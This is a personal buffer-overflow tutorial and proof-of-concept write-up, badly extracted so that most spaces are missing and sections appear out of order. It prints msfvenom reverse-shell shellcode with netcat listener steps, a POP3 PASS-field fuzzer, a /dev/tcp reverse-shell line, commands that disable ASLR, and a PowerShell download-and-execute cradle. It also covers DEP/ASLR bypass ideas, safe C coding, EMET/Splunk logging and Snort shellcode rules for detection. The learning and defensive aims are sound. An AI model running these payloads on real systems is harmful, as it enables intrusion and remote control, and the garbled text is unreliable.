msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0

BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers

ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers

TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing

FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen

FuzzerBuffergtApplicationBuffer

WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length

propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix

InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode

ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix

